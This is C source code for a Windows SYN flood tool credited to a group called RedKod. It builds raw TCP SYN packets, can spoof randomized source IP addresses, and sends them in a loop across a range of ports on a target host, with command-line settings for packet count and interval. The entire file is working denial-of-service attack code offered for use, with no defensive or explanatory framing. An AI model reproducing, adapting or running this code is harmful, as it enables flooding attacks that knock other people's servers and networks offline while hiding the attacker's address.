/*
	______            _  _   __            _ 
	| ___ \          | || | / /           | |
	| |_/ /  ___   __| || |/ /   ___    __| |
	|    /  / _ \ / _` ||    \  / _ \  / _` |
	| |\ \ |  __/| (_| || |\  \| (_) || (_| |
	\_| \_| \___| \__,_|\_| \_/ \___/  \__,_|
                                          
          Syn Flooder for WinNT Systems (2k, XP)

                    - Version 0.1 -
                                      RedKod Team
                                    www.redkod.com
Coder: R-e-D
Mail : r-e-d@redkod.com

*/

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <winsock2.h>

#define SYN 0x02

typedef struct tcp_hdr
{
	unsigned short	sport;
	unsigned short	dport;
	unsigned int	seqnum;
	unsigned int	acknum;
	unsigned char	DataOffset;
	unsigned char	Flags;
	unsigned short	Windows;
	unsigned short	Checksum;
	unsigned short	UrgPointer;
} TCP_HDR;

typedef struct ip_hdr
{
    unsigned char  ip_verlen;        
    unsigned char  ip_tos;           
    unsigned short ip_tot_len;       
    unsigned short ip_id;            
    unsigned short ip_offset;        
    unsigned char  ip_ttl;           
    unsigned char  ip_protocol;      
    unsigned short ip_checksum;      
    unsigned int   ip_saddr;         
    unsigned int   ip_daddr;         

} IP_HDR;


typedef struct tmp_hdr
{
      unsigned int saddr;
      unsigned int daddr;
      unsigned char placeholder;
      unsigned char protocol;
      unsigned short tcp_length;
      struct tcp_hdr tcp;
} TMP_HDR;

USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;
    while (size > 1)
    {
        cksum += *buffer++;
        size  -= sizeof(USHORT);   
    }
    if (size)
    {
        cksum += *(UCHAR*)buffer;   
    }
    cksum = (cksum >> 16) + (cksum & 0xffff);
    cksum += (cksum >>16); 
    return (USHORT)(~cksum); 
}

int packet_build(unsigned short dport, unsigned long saddr, unsigned long daddr, char packet[])
{
    int srcport=0;
    IP_HDR         ip;
    TCP_HDR	   tcp;
    TMP_HDR	   temp_header;
    unsigned short packet_size, ip_version, ip_len;    
    char	   *ptr = NULL;

    packet_size = sizeof(ip) + sizeof(tcp);
    ip_version = 4;
    ip_len = sizeof(ip) / sizeof(unsigned long);

    ip.ip_verlen   = (ip_version << 4) | ip_len;
    ip.ip_tos      = 0;                         
    ip.ip_tot_len  = htons(packet_size); 
    ip.ip_id       = 1;                
    ip.ip_offset   = 0;             
    ip.ip_ttl      = 128;              
    ip.ip_protocol = IPPROTO_TCP;
    ip.ip_checksum = 0 ;         
    ip.ip_saddr    = saddr;	
    ip.ip_daddr    = daddr;	

    srcport        = (rand() % 1500) + 1;
    tcp.sport      = htons(srcport);	
    tcp.dport      = htons(dport) ;	 
    tcp.seqnum     = htonl(31337);	
    tcp.acknum     = 0;
    tcp.DataOffset = (5) << 4;
    tcp.Flags      = SYN;
    tcp.Windows    = htons(1337);
    tcp.Checksum   = 0;
    tcp.UrgPointer = 0;
   
    temp_header.saddr       = saddr;
    temp_header.daddr       = daddr;
    temp_header.placeholder = 0;
    temp_header.protocol    = IPPROTO_TCP;
    temp_header.tcp_length  = htons(sizeof(tcp));
    
    memcpy(&temp_header.tcp,&tcp, sizeof(tcp));

    tcp.Checksum = checksum((unsigned short *)&temp_header, sizeof(temp_header));
    
    ZeroMemory(packet, sizeof(packet));
    ptr = packet;	
    memcpy(ptr, &ip, sizeof(ip));
    ptr += sizeof(ip);
    memcpy(ptr, &tcp, sizeof(tcp));
    ptr += sizeof(tcp);	

    return(0);
}	


int InitWinsock(void)
{
    WSADATA wsaData;

	if (WSAStartup(MAKEWORD(2,2), &wsaData) != 0)
    {
	    fprintf(stderr, "WSAStartup() failed: %d\n", GetLastError());
	    exit(-1);
    }

	return(0);
}

SOCKET Create_Raw_Socket(void) 
{
   int sock;
   BOOL  optval = true;
   
   sock = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0);
   if (sock == INVALID_SOCKET)
   {
      fprintf(stderr, "WSASocket() failed: %d\n", WSAGetLastError());
      exit(-1);
   }

    
   if (setsockopt(sock, IPPROTO_IP, 2, (char *)&optval, sizeof(optval)) == SOCKET_ERROR)
   {
	    fprintf(stderr, "setsockopt(IP_HDRINCL) failed: %d\n", WSAGetLastError());
	    exit(-1);
   }

   return(sock);
}

int packet_send(unsigned short lowport, unsigned short highport, char *saddr, char *daddr, int nbpackets, int interval)
{
	SOCKET  sock;
	int    ret, i=0, tmp_port=lowport, random=0, ip1=0, ip2=0, ip3=0, ip4=0;
	hostent *she, *dhe;
   	struct sockaddr_in shost, dhost;        
   	char packet[40];

	srand((unsigned) time(NULL));

    	InitWinsock();
	sock = Create_Raw_Socket();

	if(!strcmp(saddr, "0")) 	
		random = 1;
	   
	memset(packet, 0, sizeof(packet));
	
	i++;
	nbpackets++;
        highport++;
	
	while(1) {	

		for(lowport; lowport < highport; lowport++) 
		{			
			if(random == 1) {			
				ip1 = (rand() % 255) + 1;
				ip2 = (rand() % 255) + 1;
				ip3 = (rand() % 255) + 1;
				ip4 = (rand() % 255) + 1;	
				sprintf(saddr, "%i.%i.%i.%i", ip1, ip2, ip3, ip4);
       			 }

			dhost.sin_family = AF_INET;
			dhost.sin_port = htons(lowport);	
			
			she = gethostbyname(saddr);
			if(she == 0)
			{		
				fprintf(stderr, "Error: source address is NULL.\n");
				return(-1);
			}
			memcpy(&shost.sin_addr.s_addr, she->h_addr, 4);
			
			dhe = gethostbyname(daddr);
			if(!dhe) 
			{
				fprintf(stderr, "Error: destination address has not been resolve.\n");
				return(-1);
			}
			memcpy(&dhost.sin_addr.s_addr, dhe->h_addr, 4);
		
			packet_build(lowport, shost.sin_addr.s_addr, dhost.sin_addr.s_addr, packet);

			ret = sendto(sock, packet, sizeof(packet), 0, (SOCKADDR *)&dhost, sizeof(dhost));
			
			if (ret == SOCKET_ERROR)   
			{
				fprintf(stderr, "sendto() failed: %d\n", WSAGetLastError());				
				return(-1);
			}
			
			Sleep(interval);
                	fprintf(stdout, ".");			
    		}
                lowport = tmp_port;
		i++;
		if(i == nbpackets) break;
	}
       

    fprintf(stdout, "\nFinish ! Wait close the sock...\n");
    Sleep(2000);
    
    closesocket(sock);
    WSACleanup();

    return(0);
}


int main(int argc, char **argv)
{    
    char *saddr, *daddr;
    int lowport=0, highport=0, nbpackets=0, interval=0;
    char *version = "\nSyn Flooder 0.1 For NT System By R-e-D\n"
		    "      http://www.redkod.com/\n"
		    "        r-e-d@redkod.com\n"
	            "    Save the raw packet mode :)\n\n";  
	

    fprintf(stdout, version);
    if(argc < 7)
    {
		fprintf(stdout, "usage: %s [source address] [destination address] [low port] [high port] [packets count] [interval (ms)]\n", argv[0]);
		fprintf(stdout, "if source address equal 0, random addresses will be used.\n");
		exit(-1);
    } 
    
    lowport   = atoi(argv[3]);
    highport  = atoi(argv[4]);
    nbpackets = atoi(argv[5]);
    interval  = atoi(argv[6]);

    if(lowport == 0 || lowport >= 65535 || highport == 0 || highport >= 65535)
    {
	    fprintf(stderr, "Specify good ports (between 1 and 65535) please...\n");
	    exit(-1);
    }

    if(strlen(argv[1]) < 3)
	 saddr = (char *)malloc(4 * sizeof(char *));
    else		    
    saddr = (char *)malloc(strlen(argv[1]) + 1);
   
    daddr = (char *)malloc(strlen(argv[2]) + 1);

    strcpy(saddr, argv[1]);
    strcpy(daddr, argv[2]);
    
    fprintf(stdout, "Source IP             : %s\n", saddr);    
    fprintf(stdout, "Destination IP        : %s\n", daddr);
    fprintf(stdout, "Low destination port  : %d\n", lowport);
    fprintf(stdout, "High destination port : %d\n", highport);
    fprintf(stdout, "Packets count         : %d\n", nbpackets);
    fprintf(stdout, "Interval              : %d\n", interval);

    printf("\nStart now !\n");
    packet_send(lowport, highport, saddr, daddr, nbpackets, interval);  

    free(daddr);
    free(saddr);
    
    return(0);
}
